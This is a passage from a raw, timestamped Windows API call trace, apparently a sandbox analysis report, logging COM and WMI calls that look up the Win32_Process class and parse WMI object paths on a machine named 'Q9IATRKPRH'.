pToken=0x1bb7dc50) returned 0x0 [0126.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2530, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1a9e2530) returned 0x0 [0126.660] WbemLocator:IUnknown:Release (This=0x1a9e2530) returned 0x2 [0126.660] SysStringLen (param_1=0x0) returned 0x0 [0126.660] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980450, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0126.660] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0126.660] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.661] WbemDefPath:IWbemPath:GetText (in: This=0x1a980150, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0126.661] WbemDefPath:IWbemPath:GetText (in: This=0x1a980150, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0126.661] IWbemServices:GetObject (in: This=0x1a9e2530, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1a9f58d0, ppCallResult=0x0) returned 0x0 [0126.664] IWbemClassObject:Get (in: This=0x1a9f58d0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0126.664] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0126.664] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0126.664] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0126.664] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0126.665] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0126.665] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.666] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1a9ec8b0) returned 0x0 [0126.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9ec8b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0126.667] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9ec8b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1a980510) returned 0x0 [0126.667] WbemDefPath:IUnknown:Release (This=0x1a9ec8b0) returned 0x0 [0126.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1a980510) returned 0x0 [0126.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0126.667] WbemDefPath:IUnknown:AddRef (This=0x1a980510) returned 0x3 [0126.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0126.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0126.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1a9ec8d0) returned 0x0 [0126.667] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9ec8d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.668] WbemDefPath:IUnknown:Release (This=0x1a9ec8d0) returned 0x3 [0126.668] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0126.668] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0126.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0126.668] WbemDefPath:IUnknown:Release (This=0x1a980510) returned 0x2 [0126.668] WbemDefPath:IUnknown:Release (This=0x1a980510) returned 0x1 [0126.668] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0126.668] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0126.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1a980510) returned 0x0 [0126.668] WbemDefPath:IUnknown:AddRef (This=0x1a980510) returned 0x3 [0126.668] WbemDefPath:IUnknown:Release (This=0x1a980510) returned 0x2 [0126.668] WbemDefPath:IWbemPath:SetText (This=0x1a980510, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0126.668] IWbemClassObject:Get (in: This=0x1a9f58d0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0126.668] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.668] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.669] IWbemClassObject:Get (in: This=0x1a9f58d0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0126.669] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0126.669] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0126.669] IWbemClassObject:Get (in: This=0x1a9f58d0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0126.669] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0126.669] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0126.669] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0126.669] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0126.669] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0126.670] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.671] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9eca70) returned 0x0 [0126.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9eca70, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0126.672] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9eca70, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a9805d0) returned 0x0 [0126.672] WbemDefPath:IUnknown:Release (This=0x1a9eca70) returned 0x0 [0126.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a9805d0) returned 0x0 [0126.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0126.672] WbemDefPath:IUnknown:AddRef (This=0x1a9805d0) returned 0x3 [0126.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0126.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0126.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9ecab0) returned 0x0 [0126.672] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9ecab0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.672] WbemDefPath:IUnknown:Release (This=0x1a9ecab0) returned 0x3 [0126.672] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0126.673] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0126.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0126.673] WbemDefPath:IUnknown:Release (This=0x1a9805d0) returned 0x2 [0126.673] WbemDefPath:IUnknown:Release (This=0x1a9805d0) returned 0x1 [0126.673] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0126.673] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0126.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a9805d0) returned 0x0 [0126.673] WbemDefPath:IUnknown:AddRef (This=0x1a9805d0) returned 0x3 [0126.673] WbemDefPath:IUnknown:Release (This=0x1a9805d0) returned 0x2 [0126.673] WbemDefPath:IWbemPath:SetText (This=0x1a9805d0, uMode=0x4, pszPath="") returned 0x0 [0126.673] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0126.673] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0126.673] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0126.673] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.675] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9eca70) returned 0x0 [0126.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9eca70, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0126.675] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9eca70, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a980690) returned 0x0 [0126.675] WbemDefPath:IUnknown:Release (This=0x1a9eca70) returned 0x0 [0126.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a980690) returned 0x0 [0126.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0126.676] WbemDefPath:IUnknown:AddRef (This=0x1a980690) returned 0x3 [0126.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0126.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0126.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9ecaf0) returned 0x0 [0126.676] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9ecaf0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.676] WbemDefPath:IUnknown:Release (This=0x1a9ecaf0) returned 0x3 [0126.676] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0126.676] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0126.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0126.676] WbemDefPath:IUnknown:Release (This=0x1a980690) returned 0x2 [0126.676] WbemDefPath:IUnknown:Release (This=0x1a980690) returned 0x1 [0126.676] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0126.676] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0126.677] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a980690) returned 0x0 [0126.677] WbemDefPath:IUnknown:AddRef (This=0x1a980690) returned 0x3 [0126.677] WbemDefPath:IUnknown:Release (This=0x1a980690) returned 0x2 [0126.677] WbemDefPath:IWbemPath:SetText (This=0x1a980690, uMode=0x4, pszPath="") returned 0x0 [0126.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980690, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0126.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a9805d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0126.677] WbemDefPath:IWbemPath:GetClassName (in: This=0x1a980690, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0126.677] WbemDefPath:IWbemPath:GetServer (in: This=0x1a980690, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0126.677] WbemDefPath:IWbemPath:SetServer (This=0x1a980690, Name="Q9IATRKPRH") returned 0x0 [0126.677] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0126.677] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0126.677] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0126.677] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.679] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9ecb10) returned 0x0 [0126.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9ecb10, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0126.679] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9ecb10, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a980750) returned 0x0 [0126.679] WbemDefPath:IUnknown:Release (This=0x1a9ecb10) returned 0x0 [0126.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a980750) returned 0x0 [0126.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, 